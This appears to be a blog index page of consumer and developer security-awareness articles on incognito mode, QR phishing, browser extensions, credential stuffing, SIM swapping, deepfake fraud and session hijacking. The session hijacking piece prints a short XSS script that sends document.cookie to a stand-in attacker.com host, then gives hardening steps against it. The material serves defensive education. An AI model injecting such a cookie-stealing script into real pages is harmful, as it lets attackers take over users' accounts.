Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 65

• security
• khalil shreateh
• security-research
• privacy

Read more: The CAPTCHA Isn't Testing Whether You're Human. It's Grading You, Silently, Before You Even Click An...

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 82

• security
• cybersecurity-research
• khalil shreateh
• security-patches
• privacy

Read more: For Fifteen Years, a Privacy Setting Quietly Made You Easier to Track. Nobody Told You. Browsers Jus...

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 96

• security
• cybersecurity-research
• khalil shreateh
• security-research

Read more: Should You Actually Worry About Public Phone Chargers? Here's the Honest Answer

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 133

• security
• cybersecurity-research
• security-research
• privacy

Somewhere out there, someone opened a private browsing window at 2 AM to research a surprise anniversary gift, felt a little smug about their operational security, and then had the gift recommended to them by an ad on Instagram the next morning. This happens constantly. And every time, the reaction is the same: betrayal, confusion, and a quiet suspicion that their phone is somehow listening through the microphone. It isn't. Incognito mode just never promised what everyone assumed it did.

Let's fix that assumption once and for all, because it's costing people surprise parties.

1. What Incognito Mode Actually Promises

Here's the honest, unglamorous truth: private browsing mode does exactly one job, and it does it well. It stops your browser from saving things locally on your own device — no entry in your browsing history, no new cookies left behind after you close the window, no autofill suggestions quietly remembering what you searched. That's genuinely useful if you share a computer, or you're checking something you'd rather not see auto-complete itself in front of family later.

What it was never built to do is make you invisible to the rest of the internet. It's a local privacy tool, not a global one — and the confusion between those two ideas is where the entire myth lives.

2. The Myth-vs-Reality Table Nobody Reads

Notice the pattern: everything incognito mode actually delivers happens on your device. Everything people wrongly expect from it happens somewhere else entirely — on a network, on a server, inside an account you're still logged into.

3. Everyone Who's Still Watching Anyway

Private browsing changes nothing about how your traffic travels across the internet. It leaves your device exactly the same way it always has, which means the usual cast of characters is still fully in the loop.

4. The Website Doesn't Need Your Cookies — It Has Your Fingerprint

Even without a single cookie, websites have gotten remarkably good at recognizing a returning visitor through something called browser fingerprinting — quietly combining details like your screen resolution, installed fonts, browser version, time zone, and dozens of small configuration quirks into a combination specific enough to identify you again later, cookie or no cookie.

None of this requires anything sneaky or illegal on the website's part — it's just a side effect of how much technical detail your browser hands over automatically on every single page load, incognito or not. The private window closes the cookie door. It leaves several other doors wide open, mostly because those doors were never part of what incognito mode was designed to close.

5. The One Thing Incognito Can Never Fix

Here's the part that trips up almost everyone: if you log into your account inside a private window — your email, your social media, your shopping account — the entire privacy benefit evaporates instantly for anything you do afterward on that site. You've just told the website exactly who you are, voluntarily, with your own password. No amount of browser privacy mode can undo that handshake.

6. What Actually Gets You Real Privacy

None of this means private browsing is useless — it does its specific job well. It just means you need different tools for different privacy goals, rather than expecting one browser setting to cover all of them at once.

• Use incognito mode for what it's actually for: keeping local history and autofill clean on a shared device.
• Use a reputable VPN if your goal is hiding your browsing from your internet provider or a shared network — this operates at the network level, which is the layer incognito mode never touches.
• Log out of accounts entirely if you want a search or purchase not tied back to your identity, rather than assuming a private window quietly logs you out for you.
• Understand that fingerprinting-resistant browsing (privacy-focused browsers, tracker-blocking extensions) addresses a completely different problem than local history — layer these together instead of relying on any single one.
• Accept that on a company or school network, the network owner's visibility isn't something any browser setting on your end can override.

Conclusion

Incognito mode isn't lying to you, exactly — it's just been badly named for two decades, and the little spy-hat icon really hasn't helped clear things up. It was built to solve one specific, genuinely useful problem: keeping your local browsing history and autofill clean. It was never built to make you invisible to your ISP, your employer, or a website you're logged into — and expecting it to do all of that is how surprise anniversary gifts keep getting spoiled by an ad algorithm that was never actually fooled in the first place.

Know what the tool actually does, use the right tool for the actual privacy goal you have, and maybe just log out next time you're shopping for a surprise.

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 352

• security
• cybersecurity-research
• security-research
• privacy

A QR code carries no visible information about where it leads. That single fact — obvious once stated, almost never considered in the moment — is the entire basis for an attack category that has quietly become one of the more effective phishing variants in circulation: quishing, or QR code phishing.

Unlike a suspicious link in an email, which at least displays as text a cautious person might scrutinize, a QR code is a black box by design. You cannot read a QR code the way you can read a URL. You scan it and trust the result, because that is the only way a QR code can be used at all.

1. Why This Attack Only Became Viable Recently

QR codes existed for decades as a mostly niche technology before becoming a mainstream part of daily life. The shift came from a specific combination of factors: contactless service expectations normalized QR-based menus and check-ins, and native camera apps on modern smartphones added built-in QR scanning without requiring a separate app. Both changes removed friction from scanning random codes in public spaces — and removed the moment of hesitation that used to accompany installing a dedicated scanner app just to read one.

The attack itself isn't new in concept — it's the same redirection logic used in traditional phishing links. What changed is the delivery mechanism, and delivery mechanism is precisely what most existing security training and email filtering was built around.

2. The Specific Blind Spot QR Codes Exploit

Years of phishing awareness training have taught people one consistent habit: hover over a link before clicking, and look at the actual destination URL. This single habit catches an enormous share of traditional phishing attempts, because a mismatched or suspicious domain is often visible before any click occurs.

A QR code has no equivalent preview step for most users. The destination is only revealed after scanning, at which point the phone has often already opened a browser or begun loading the page. The verification step that traditional phishing training relies on doesn't exist in the same form here — it has to be deliberately added back in, rather than assumed as a natural habit.

3. Where Quishing Actually Shows Up

The effectiveness of this attack depends heavily on context — a QR code feels legitimate specifically because QR codes are now expected in so many ordinary situations.

4. Why Email and Web Filters Struggle With This

Traditional phishing detection leans heavily on analyzing link text, domain reputation, and known-malicious URL databases directly present in a message. When a malicious URL is embedded inside a QR code image instead of appearing as text, that entire detection layer has to work differently: the filtering system must first recognize that an image contains a QR code, then decode it, then evaluate the resulting URL — an extra processing step that not every filter performs by default, and one that is comparatively new relative to decades of text-based link scanning.

This gap is exactly why quishing has increasingly been used as a way to reach inboxes that would otherwise catch a conventional phishing link on sight. The malicious destination is identical in principle to a normal phishing link — it is only the packaging that changed.

5. Recognizing a Malicious QR Code

Because the code itself gives no visual indication of its destination, the warning signs here are almost entirely contextual and physical rather than visual.

• A QR code that looks like a sticker placed over another code — check the edges for a raised sticker outline or a different paper texture from the surrounding sign.
• A QR code appearing somewhere it wouldn't normally be expected, such as loose on a wall, a random flyer, or a parking area with no other signage referencing it.
• Urgency-driven framing on a printed notice — "scan immediately to avoid a fee," "final notice," or similar pressure language paired with a code.
• A QR code embedded as an image inside an email, especially one urging immediate action like a password reset, delivery confirmation, or payment update.
• A destination page, once scanned, that asks for a password, payment card, or personal details immediately, especially if the branding looks slightly off or generic.

6. Building a Personal and Organizational Defense

The defense here is less about new technology and more about restoring the verification step that QR codes accidentally removed from everyday habits.

• Before scanning, check whether your phone's camera app shows a URL preview before opening it — most modern phones display the decoded link before navigating, and that preview is worth actually reading.
• Treat QR codes in public physical spaces with the same skepticism as an unsolicited link — verify against the venue's official website or app rather than assuming a posted code is legitimate.
• Avoid entering payment or login details immediately after scanning a code in a public setting; if payment is genuinely required, navigate to the organization's known official site or app directly instead.
• For organizations distributing physical QR codes — menus, event materials, signage — inspect codes periodically for signs of tampering or overlay stickers.
• For email security teams, ensure filtering tools specifically decode and evaluate QR codes embedded as images, not just text-based links, since this is an increasingly common evasion technique.
• Enable multi-factor authentication on accounts that could be targeted through a quishing-driven credential page, so a single scanned code and entered password isn't enough for full account access.

Conclusion

Quishing doesn't succeed because QR code technology is flawed — the format itself is just an encoding method, no more dangerous than a normal hyperlink. It succeeds because it exploits a genuine gap between how people were trained to evaluate links and how QR codes are physically used: scanned quickly, in public settings, usually without the deliberate pause that text-based link scrutiny still gets.

Closing that gap doesn't require avoiding QR codes altogether, since they remain a legitimate and convenient technology in countless everyday contexts. It requires treating the moment right after a scan — before entering any password, payment detail, or personal information — as the same decision point a suspicious link would trigger, rather than a formality already settled by the act of scanning itself.

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 147

• security
• cybersecurity-research
• security-research
• privacy

When you install a browser extension, you make a single trust decision at one moment in time. What almost nobody accounts for is that the extension you approved doesn't stay frozen at that moment — it keeps updating, silently, in the background, often for years, and each update operates under the permission grant you gave once and never revisited.

This gap between a one-time approval and an indefinitely evolving piece of software running inside your browser — with access to every page you visit — is one of the most persistently underestimated attack surfaces in everyday computing.

1. The Permission Loophole Nobody Talks About

Extension platforms generally re-prompt users for approval only when a new permission is added that wasn't previously granted. If an extension already has broad access — for example, permission to read and modify data on every website you visit — the developer can rewrite almost the entire logic of the extension without triggering a single new permission prompt. The code changes completely; the permission screen you saw at install time never changes at all.

This matters because a huge share of malicious extension activity doesn't start as malicious. It starts as a legitimately useful tool — a screenshot utility, a coupon aggregator, a color picker, a PDF-to-Word converter — built by an independent developer who eventually loses interest, runs out of funding, or is approached directly by a data broker or ad network willing to buy the extension purely for its installed user base.

2. Three Ways a Good Extension Turns Malicious

3. Reading Permissions Like a Security Researcher

The permission names shown at install time are technical and easy to skim past, but each one maps to something concrete the extension can actually do. Understanding a handful of the most consequential ones changes how you evaluate every future install.

None of these permissions are inherently malicious in isolation — a legitimate password manager extension needs to read and modify page data to autofill credentials. The distinction that matters is whether the scope of permission requested is proportional to what the extension's stated function actually requires.

4. What a Malicious Extension Actually Collects

When an extension is compromised or repurposed for data collection, the most valuable and commonly targeted data falls into a few consistent categories, because these are what have direct resale or exploitation value:

• Form data entered on banking, shopping, and login pages before submission, often captured regardless of whether the connection is encrypted.
• Complete browsing history correlated with timestamps, used to build advertising or behavioral profiles sold to data brokers.
• Session cookies and authentication tokens, which can enable account access without ever needing a password at all.
• Search queries and on-page text, sometimes repurposed to inject affiliate links or redirect search results toward sponsored content.
• Screenshots or page content from specific targeted domains, such as webmail providers or corporate intranets.

5. Why App Store Review Doesn't Catch This

Extension marketplaces do run automated and sometimes manual review before an extension is published or updated, but this review model has a structural weakness: it primarily evaluates the code as it exists at submission time. Extensions can be built to check conditions before activating unwanted behavior — for instance, only triggering data collection after a delay, or only on domains not commonly used for testing — specifically to reduce the chance that automated review catches the behavior during the review window itself.

Additionally, updates to already-published extensions frequently receive lighter scrutiny than the initial submission, particularly for minor version increments, which is precisely the mechanism scope-creep and post-acquisition malicious updates rely on.

6. A Practical Extension Audit You Can Do Today

The fix here isn't avoiding extensions entirely — many are genuinely useful and safe — it's treating your installed extension list the way you'd treat a list of people with keys to your house: worth periodically reviewing, not something you set once and forget.

• Open your browser's extension management page and actually read the full list — most people are surprised by how many they've forgotten they installed.
• For each extension, ask whether you still actively use it. If not, remove it — an uninstalled extension has zero attack surface.
• Check the permissions each extension currently holds, not just what you remember approving originally, since permissions can expand with legitimate feature updates too.
• Favor extensions that clearly state a narrow, specific purpose over multi-purpose "all-in-one" tools that request broad access to justify a wide feature set.
• Check the developer's publishing history — a sudden change in developer name or a large gap followed by resumed updates after years of inactivity are both signals worth a closer look before trusting the next update.
• For anything handling sensitive data — password managers, banking-adjacent tools — prefer extensions from developers with a verifiable, ongoing reputation over lesser-known alternatives with similar functionality.
• Disable extensions you don't currently need rather than leaving them active indefinitely; most browsers let you toggle this without a full uninstall.

Conclusion

Browser extensions occupy a uniquely privileged position: they run with your logged-in sessions, see your typed input, and often sit quietly for years without drawing attention. That combination — high access, low ongoing scrutiny — is exactly what makes a previously trustworthy extension such an effective vehicle for data collection once ownership, incentives, or intentions change behind the scenes.

The good news is that the fix requires no special technical skill, only a habit: periodically reviewing what's actually installed, questioning whether each extension's permissions still match its stated purpose, and removing anything you no longer actively use. The extension itself was never the real risk. An extension left unexamined for years, quietly accumulating trust it was never re-earning, is.

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 122

• security
• cybersecurity-research
• security-research

Most people picture password attacks as a hacker sitting at a screen, guessing combinations one at a time until something works. That image is almost entirely wrong for the attack that actually does the most damage today. Credential stuffing doesn't guess anything. It takes a password that is already known to be correct — because it leaked from an unrelated breach — and simply tries it somewhere else.

The mechanism is almost insultingly simple, and that simplicity is exactly why it remains so effective years after security teams first started warning about it.

1. Credential Stuffing vs. Brute Force: A Critical Distinction

Brute-force attacks and credential stuffing get lumped together constantly, but they solve completely different problems, and confusing the two leads to the wrong defenses.

A brute-force attack targets one account and tries many possible passwords against it — essentially guessing blind, constrained only by password complexity rules. It's slow, noisy, and increasingly blocked by simple rate limiting and account lockouts.

Credential stuffing flips this entirely. The attacker already has a large list of real email-and-password pairs, harvested from a previous data breach at some other company — a retailer, a forum, an old app you signed up for once and forgot about. Instead of guessing, they take that exact working password and try it against your accounts on completely different platforms: your email provider, your bank, your social media. No guessing is involved. The password isn't a guess — it's a fact, just applied to the wrong door.

2. The Reuse Math That Makes This Attack Work

The reason credential stuffing scales so well comes down to basic probability, not clever hacking. Consider what happens when a single set of breached credentials is tested against a list of popular platforms:

If a person reuses 1 password across 10 accounts,
and just 1 of those 10 services is ever breached,
the attacker now holds working keys to the other 9 — instantly, for free.

This is why credential stuffing tools don't need to be aimed at any specific person to be dangerous. An attacker doesn't need to know or care who you are. They run a breached list against login pages at scale, and whichever accounts happen to match — because someone reused a password — simply fall out the other end as confirmed hits. You become a target purely through statistical overlap, not because anyone chose you.

3. How the Attack Is Actually Carried Out

Breached credential lists circulate widely after major incidents, often compiled and re-shared long after the original breach was patched or disclosed. These lists are traded, combined with other leaked datasets, and eventually used as raw material for stuffing attempts.

From there, the process is largely mechanical rather than skillful: automated tools submit login attempts across many sites in rapid succession, cycling through the credential list against each target's login form. Because the attacker is testing thousands or millions of already-correct password guesses rather than random ones, even a modest success rate — a small single-digit percentage of accounts where reuse occurred — produces a meaningful number of compromised accounts when applied to a large enough list.

This piece is described here only at the mechanism level — what makes the attack effective — not as a working method, since the goal of understanding this is entirely defensive: recognizing why reuse is the actual vulnerability being exploited, not the login form itself.

4. Why This Is Hard for Companies to Block

From a defender's perspective, credential stuffing is uncomfortable precisely because every individual login attempt looks completely legitimate. The username and password are correct. There's no obvious sign of guessing, no repeated failed attempts against one account, no suspicious character patterns. The request looks exactly like what happens millions of times a day when real users log in successfully.

5. Defending Your Own Accounts

The good news is that the defense here is unusually clear-cut, because the vulnerability is specific: password reuse. Removing reuse removes almost the entire attack.

• Use a unique password for every account — a password manager makes this practical without requiring memorization.
• Enable multi-factor authentication wherever it's offered, prioritizing an authenticator app or hardware key over SMS codes.
• Check whether your email address appears in known breach datasets using a reputable breach-notification service such as Have I Been Pwned, and change any reused passwords tied to affected accounts immediately.
• Pay particular attention to old, forgotten accounts — a password reused from a site you signed up for years ago and never think about is just as dangerous as one from an account you use daily.
• Where a platform supports passkeys instead of passwords, use them — a passkey cannot be reused across sites the way a text password can, because it isn't a shared secret to begin with.

6. Defending a Login System You Manage

If you operate a website or application with user accounts, the defensive posture looks different, because you can't control whether your users reuse passwords elsewhere — but you can control how your system responds to the pattern this attack produces.

• Implement rate limiting and progressive delays per account and per IP, rather than relying on either signal alone.
• Deploy device and behavioral fingerprinting to flag logins that succeed with correct credentials but come from an unfamiliar device, location, or browser configuration.
• Use CAPTCHA or equivalent challenge mechanisms specifically when anomalous login velocity is detected, rather than on every login attempt.
• Screen new and existing passwords against known breached-password datasets at signup and login, rejecting credentials that appear in public breach corpora.
• Offer — and actively encourage — multi-factor authentication and passkey support rather than treating them as optional add-ons buried in account settings.
• Monitor for the specific signature of credential stuffing: a high volume of login attempts with a low failure-to-success ratio spread across many accounts, rather than many failures against one account.

Conclusion

Credential stuffing persists not because it's technically sophisticated, but because it exploits something almost every internet user still does: reusing a password across more than one account. The attack requires no cleverness against your specific defenses — it only requires that a password you chose years ago, for a service you may not even remember, was correct somewhere else too.

The fix is narrower and more achievable than most security advice: eliminate reuse, add a second authentication factor, and treat old dormant accounts with the same seriousness as the ones you use every day. None of this requires deep technical expertise — it requires recognizing that the weak point was never the strength of any single password, but the decision to let one password answer for more than one account.

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 135

• security
• cybersecurity-research
• security-research
• privacy

Somewhere right now, a phone goes dark mid-afternoon. No signal, no bars, no explanation. Within the hour, the owner's email is compromised, their bank app shows a password reset they never requested, and their cryptocurrency wallet is empty. They didn't click a malicious link. They didn't download anything. Their phone number was simply handed to someone else — by their own mobile carrier.

This is SIM swapping, sometimes called a port-out scam, and it remains one of the most underestimated attack vectors in personal cybersecurity, precisely because it doesn't feel like a hack. It feels like a customer service transaction — because that's exactly what it is.

1. Why Your Phone Number Became a Master Key

Somewhere along the way, your phone number quietly evolved from a simple contact detail into the backbone of your entire digital identity. It resets your email password. It receives your two-factor authentication codes. It verifies your bank login. It's the recovery method for nearly every account you own.

The problem is that a phone number was never designed with that level of trust in mind. It's just a routing address assigned by a carrier — and carriers can reassign it, sometimes with surprisingly little verification, because the underlying process was built decades ago to solve a much simpler problem: letting people switch phones without losing their number, not to act as a security credential.

2. How a SIM Swap Attack Actually Unfolds

The attack rarely starts with your phone at all. It starts with information gathered well in advance.

1. Reconnaissance

   The attacker gathers your name, date of birth, address, and account details from data breaches, social media, or phishing emails.
2. Impersonation Call

   Posing as you, the attacker contacts your mobile carrier claiming their phone was lost, stolen, or damaged, and requests the number be moved to a new SIM card.
3. Social Engineering the Rep

   Using the gathered personal details to pass identity checks, the attacker convinces a support agent to activate the number on a SIM they control.
4. Your Phone Goes Silent

   Your device instantly loses service. This is the first — and often only — visible sign anything is wrong, and it usually goes unnoticed for a critical window of time, especially overnight or during work hours when a dead phone might just seem like a dead battery.
5. Account Takeover

   With your number now under their control, the attacker triggers password resets on email, banking, and crypto accounts, intercepting every verification code sent by SMS.

3. What Attackers Are Really After

4. Early Warning Signs You're Being Targeted

SIM swap attacks move fast, but they rarely happen without warning. Recognizing these signs early can be the difference between a close call and a drained account.

• Unexpected loss of cellular signal or "No Service" with no clear cause, especially after receiving unusual calls or texts.
• Notifications from your carrier about a SIM card change or account update you didn't request.
• Password reset emails arriving for accounts you didn't try to access.
• Being suddenly logged out of email, banking, or social media apps without explanation.
• Unusual login alerts from unfamiliar devices or locations shortly before the phone goes silent.

5. How to Lock Down Your Number and Accounts

The single most effective defense against SIM swapping is removing your phone number as the weak link in your account security entirely.

• Replace SMS-based two-factor authentication with an authenticator app wherever the option exists.
• Use a hardware security key for your most critical accounts — email, banking, and cryptocurrency exchanges.
• Set a PIN or passphrase directly on your mobile carrier account that must be provided before any changes are made.
• Avoid oversharing personal details publicly — birthdates, addresses, and family names are exactly what attackers use to pass identity checks.
• Use a separate, less publicly known phone number or email for account recovery on high-value accounts.
• Freeze your credit with major bureaus if you notice signs of identity-related fraud alongside a SIM swap attempt.

6. Carrier-Level Protections Worth Enabling

Most major mobile carriers now offer specific protections against unauthorized SIM changes, but they are rarely enabled by default. It's worth calling your carrier directly to ask about:

• Port-out and SIM-change PIN protection tied specifically to your account.
• Enhanced identity verification requirements before any SIM or number changes are processed.
• Account-level alerts sent to a secondary contact method whenever a SIM change request is made.
• A temporary lock on SIM changes that can only be lifted by visiting a physical store with ID.

Conclusion

SIM swapping succeeds not because attackers are technical geniuses, but because they understand something most of us overlook: the phone number we treat as an unshakable piece of our identity is really just a setting inside someone else's system. It can be moved, reassigned, and handed to a stranger with the right script and enough patience on a customer service call.

The fix isn't complicated, but it does require deliberate action — moving away from SMS as a security backbone, locking down your carrier account with a PIN, and treating your phone number the same way you'd treat a password: as something that can be stolen, and therefore something worth actively protecting rather than assuming is safe by default.

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 183

• security
• cybersecurity-research
• security-research
• privacy

Picture this: your phone rings. It's your son. His voice is shaking. He says he's been in an accident and needs money transferred immediately. Every inflection, every nervous pause, sounds exactly like him — because it is his voice. Except he never made this call. Somewhere, an attacker fed a short clip of audio scraped from a social media video into an AI model, and produced a convincing vocal clone in under a minute.

This is no longer science fiction. It is one of the fastest-growing categories of fraud, and it has quietly made an entire generation of trusted verification methods — a familiar voice, a recognizable face on a video call — far less reliable than most people assume.

1. A New Kind of Attack Surface

For decades, security training taught us to trust our senses. If you heard your manager's voice, it was your manager. If you saw a colleague on a video call, it was your colleague. Generative AI has quietly dismantled that assumption, and most organizations have not caught up.

What makes this threat category especially dangerous is that it doesn't exploit a flaw in your software — it exploits a flaw in human trust itself. No firewall, antivirus, or password policy can stop an employee from believing their own eyes and ears.

2. How AI Voice & Video Cloning Actually Works

Understanding the mechanics behind these attacks removes their mystery — and makes them far easier to defend against.

Voice Cloning

Modern voice-synthesis models need only a short sample of clean audio to build a convincing vocal profile. Attackers harvest this audio from publicly available sources: YouTube videos, Instagram stories, voicemail greetings, podcast appearances, or even a brief phone call where the target says almost nothing meaningful. The model then learns pitch, cadence, accent, and speech patterns, and can generate entirely new sentences in that voice — including sentences the real person never said.

Video Deepfakes

Real-time face-swapping tools can now overlay a synthetic face onto a live video feed during an actual video call, matching lip movement, blinking, and lighting convincingly enough to pass a casual glance — and increasingly, even a careful one.

3. Five Real Deepfake Attack Scenarios

4. Case Study: The $25.6 Million Video Call

In one of the most well-documented incidents to date, a finance employee at the Hong Kong office of Arup — a London-based engineering firm behind projects like the Sydney Opera House — joined what appeared to be a routine video conference with several senior colleagues, including the company's CFO. Every participant on the call except the employee was an AI-generated deepfake, built from publicly available video and audio of the real executives.

Believing the instructions came directly from leadership on a live video call, the employee carried out fifteen transfers totaling roughly $25.6 million (HK$200 million) before the fraud was discovered. No malware was involved. No system was breached. The entire attack succeeded purely by exploiting trust in familiar faces and voices — Hong Kong police later confirmed the case at a public briefing, and Arup itself confirmed the incident to reporters.

5. How to Detect a Deepfake in Real Time

While detection tools are improving, the most reliable defenses right now are behavioral, not technical. Train yourself to notice these warning signs during suspicious calls or video meetings:

• Unnatural pauses or slightly robotic rhythm in speech, especially during emotional moments.
• Audio that sounds slightly "flat" or lacks background ambience consistent with the claimed location.
• On video: unnatural blinking patterns, inconsistent lighting on the face versus the background, or blurring around the jawline and hairline.
• Lip movement that is slightly out of sync with the audio, particularly on fast or complex words.
• Extreme urgency combined with a request to bypass normal verification or approval steps.
• Reluctance or a poor excuse when asked to do something unscripted, like turning their head or answering a personal question only the real person would know.

6. Building Personal & Organizational Defenses

The good news: defending against deepfake social engineering does not require exotic technology. It requires deliberate process design, because the vulnerability being exploited is procedural, not technical.

For Individuals

• Establish a family "safe word" that must be used to verify identity during any emergency phone call.
• Never act on a financial request received solely by phone or video — always verify through a separate, previously known channel.
• Limit publicly posted audio and video of yourself and family members where practical, especially clear voice recordings.
• If a call feels urgent and emotionally charged, treat that urgency itself as a red flag, not a reason to act faster.

For Organizations

• Require dual-channel verification for any financial transaction above a defined threshold, regardless of who appears to be requesting it.
• Establish a callback policy: verify unusual requests by calling a known, pre-saved number — never a number provided during the suspicious call itself.
• Train employees specifically on deepfake tactics, not just traditional phishing, as part of regular security awareness programs.
• Adopt a "no urgent exceptions" culture where bypassing standard approval processes always requires additional verification, not less.
• Use pre-agreed verification phrases for high-stakes video calls involving executives or financial decisions.

Conclusion

For most of human history, seeing and hearing someone was proof enough of who they were. That assumption has quietly weakened, and very few institutions, families, or individuals have updated their instincts to match. The technology behind deepfakes will keep improving, and detection will always be playing catch-up.

The only defense that scales is procedural: verification steps that do not depend on trusting a voice or a face, no matter how convincing. Build that habit now, before the phone rings with a voice you recognize, asking for something you shouldn't give.

Details

Written by: khalil shreateh

Category: Awareness and Security

Hits: 209

• security
• cybersecurity-research
• khalil shreateh
• security-research
• privacy

Session Hijacking in 2026: How Attackers Steal Your Identity Without Your Password

You change your password regularly. You have two-factor authentication turned on. On paper, your accounts look locked down. But there is a second key to your digital identity that most people never think about — the session token sitting quietly in your browser's cookie jar — and in 2026, stealing that token has become one of the most reliable ways for attackers to walk straight into an account without ever touching a password.

This article walks through how sessions actually work under the hood, the five attack methods responsible for most real-world session theft, how to tell if it has already happened to you, and a practical checklist for both everyday users and developers who want to close the gap.

Khalil Shreateh    June 2026    Security Research · Awareness    12 min read

1. How Web Sessions Actually Work

Every time you log into a website — a bank, a social network, an online store — the server has to solve a small technical problem. HTTP, the protocol that powers the web, is stateless by design: it has no built-in memory of who you are from one request to the next. So the server invents a workaround. It creates a session, hands your browser a unique session ID (or session token), and from that moment on, every request your browser sends carries that token along as proof that "this person already logged in, let them through."

Here is roughly what your browser is sending behind the scenes on every single page load, without you ever seeing it:

GET /dashboard HTTP/1.1
Host: example.com
Cookie: SESSID=a3f8c2e9d1b74f6a0c2d9e3f1b8a7c6d
User-Agent: Mozilla/5.0 ...

That long random string after SESSID= is, functionally, you — as far as the server is concerned. Anyone else who gets hold of it can present it and be treated as you, with no password, no email, and no 2FA code required.

2. What Session Hijacking Really Means

Session hijacking — also called cookie theft or session theft — is what happens when an attacker gets their hands on a valid session token belonging to someone else and uses it to access that person's account directly, skipping the login screen entirely.

The part that surprises most people: the attacker never has to know your password, defeat your 2FA, or even find out your email address. The token alone is enough. It is the difference between picking a lock and simply being handed a duplicate key.

It is also worth remembering that session hijacking is not new — it simply got quieter and more automated. The Firesheep browser extension, released back in 2010, made the concept famous by letting anyone on a shared Wi-Fi network hijack the active Facebook or Twitter sessions of everyone else on the same network with a couple of clicks. Sites moved to HTTPS-everywhere largely in response. What has changed since then is that attackers now automate the same idea at scale, using malware, mobile proxy tools, and injected scripts instead of a single Firefox add-on.

3. The Five Main Attack Methods

Understanding how a token actually gets stolen is the first real step toward stopping it.

XSS Cookie Theft, Up Close

The XSS route is particularly nasty because the theft can be triggered the moment you load a page — no click, no download, nothing that looks suspicious. A simplified version of the injected script looks something like this:

<script>
  var img = new Image();
  img.src = "https://attacker.com/steal?c=" + document.cookie;
</script>

The instant a victim's browser renders that script, the cookie is on its way to the attacker's server — before anything on screen looks out of place. That is exactly why input sanitization and strict output encoding on every web application are treated as baseline, not optional, defenses.

Man-in-the-Middle on Public Wi-Fi

Connect to an unsecured hotspot and any traffic that is not properly encrypted end-to-end can, in principle, be read by anyone else on that same network. Attackers use packet-capture tools to watch for the Set-Cookie header that establishes a session and lift it straight out of the air. Modern browsers will flag a connection that lacks proper TLS — it is worth actually reading that warning instead of clicking past it, especially before logging into anything that touches money or private messages.

4. Attack Methods Compared

Laid out side by side, the five methods break down by how they reach the token and what actually stops them:

5. Signs Your Session Has Already Been Stolen

Session hijacking usually does not announce itself. There is no pop-up saying "someone else is using your account." Instead, the warning signs tend to be small and easy to dismiss:

• A "new login detected" email or SMS from a device or location you do not recognize.
• Messages, posts, or comments on your account that you did not write.
• Being logged out of an account unexpectedly, especially if it happens right after you were active.
• A password-reset email you never requested — often the first thing an attacker tries once they are in, to lock you out for good.
• Unfamiliar entries in the "active sessions" or "where you're logged in" page most major platforms offer.

If you notice any of these, the fastest fix is usually a full password change combined with a "log out of all devices" action — this invalidates every existing session token at once, including the stolen one, regardless of whether the attacker still has it.

6. Real-World Impact: The Facebook Settlements

The stakes around session and data security were underlined by two major legal outcomes involving Facebook: a $650 million settlement over biometric data practices in Illinois, and a separate $725 million settlement resolving a shareholder and consumer class action tied to the Cambridge Analytica scandal.

What connects those cases to session hijacking is the underlying failure mode: data users believed was private ended up accessed, aggregated, and used in ways they never agreed to. That is the exact same outcome a hijacked session produces on a smaller, individual scale — an attacker holding a valid token can reach private messages, photos, saved payment details, and account settings, the same categories of data that sat at the center of those settlements.

7. Protecting Yourself as a User

None of this requires a security background. A handful of consistent habits close most of the gap:

• Check for the padlock (HTTPS) before logging into anything — on mobile too, where it is easy to skip.
• Avoid logging into sensitive accounts over public Wi-Fi; use a VPN from a provider you actually trust if you have no choice.
• Log out when you are done, especially on shared or public computers — logging out invalidates the token on the server, not just in your browser.
• Keep your browser and operating system updated; a lot of patches quietly fix cookie-handling bugs.
• Be picky about browser extensions — a malicious one has access to cookies on every site you visit, not just the one it claims to serve.
• Check the "active sessions" page on the platforms that offer one, and revoke anything you don't recognize.
• Turn on 2FA — it will not stop a stolen token directly, but it blocks the initial account compromise that often leads to session manipulation in the first place.

8. Developer Security Checklist: Harden Your Sessions

For anyone building or maintaining a web application, these are the non-negotiable technical controls. Each one closes off a specific, well-documented path to session theft.

Set the Secure Cookie Flags

These three settings alone eliminate the most common theft vectors:

# In PHP (php.ini or at runtime)
session.cookie_httponly = 1   ; blocks JavaScript from reading the cookie
session.cookie_secure   = 1   ; cookie is only ever sent over HTTPS
session.cookie_samesite = "Strict"  ; blocks cross-origin cookie submission

Regenerate the Session ID After Login

This single line defeats session fixation by making sure the pre-login session ID is never valid after authentication:

session_start();
// after credentials are verified:
session_regenerate_id(true); // true = destroy the old session

Add CSRF Tokens to State-Changing Requests

Even a hijacked session becomes less dangerous with CSRF protection in place, since it stops an attacker from silently submitting forms or triggering actions on the victim's behalf.

Bind Sessions to Additional Context

Optionally tie a session to the user's IP address or User-Agent string, and force re-authentication if either changes mid-session unexpectedly. It is not airtight — IP addresses change for legitimate reasons too — but it is a useful extra signal layered on top of everything else.

• Use short expiry windows — 30 minutes of inactivity is a reasonable default for anything sensitive.
• Store sessions server-side (database or Redis), never in client-accessible localStorage.
• Enforce HTTPS site-wide with HSTS headers to prevent downgrade attacks.
• Sanitize every piece of user input — XSS remains the primary delivery mechanism for cookie theft.
• Log and alert on concurrent sessions from geographically distant locations.
• Give users an active-sessions page and a genuine "log out of all devices" button.

Frequently Asked Questions

Does two-factor authentication stop session hijacking?

Not directly. 2FA protects the login step, but a stolen session token bypasses login entirely. What 2FA does is reduce the chance an attacker gets the kind of account access that lets them manipulate sessions in the first place.

Is HTTPS alone enough to protect me?

HTTPS stops the classic man-in-the-middle version of this attack by encrypting traffic in transit, but it does nothing against XSS, malware reading cookies off disk, or a malicious browser extension. It is necessary, not sufficient.

Do session tokens expire on their own?

Well-built applications set an expiry window, often 20–30 minutes of inactivity for sensitive services, after which the token stops working even if it was stolen. Poorly configured sites sometimes issue tokens that last for days or weeks, which is exactly what makes them worth stealing.

Is session hijacking illegal?

Accessing an account or system without authorization is a criminal offense in most jurisdictions, generally falling under computer-fraud and unauthorized-access laws, regardless of whether a password was ever obtained.

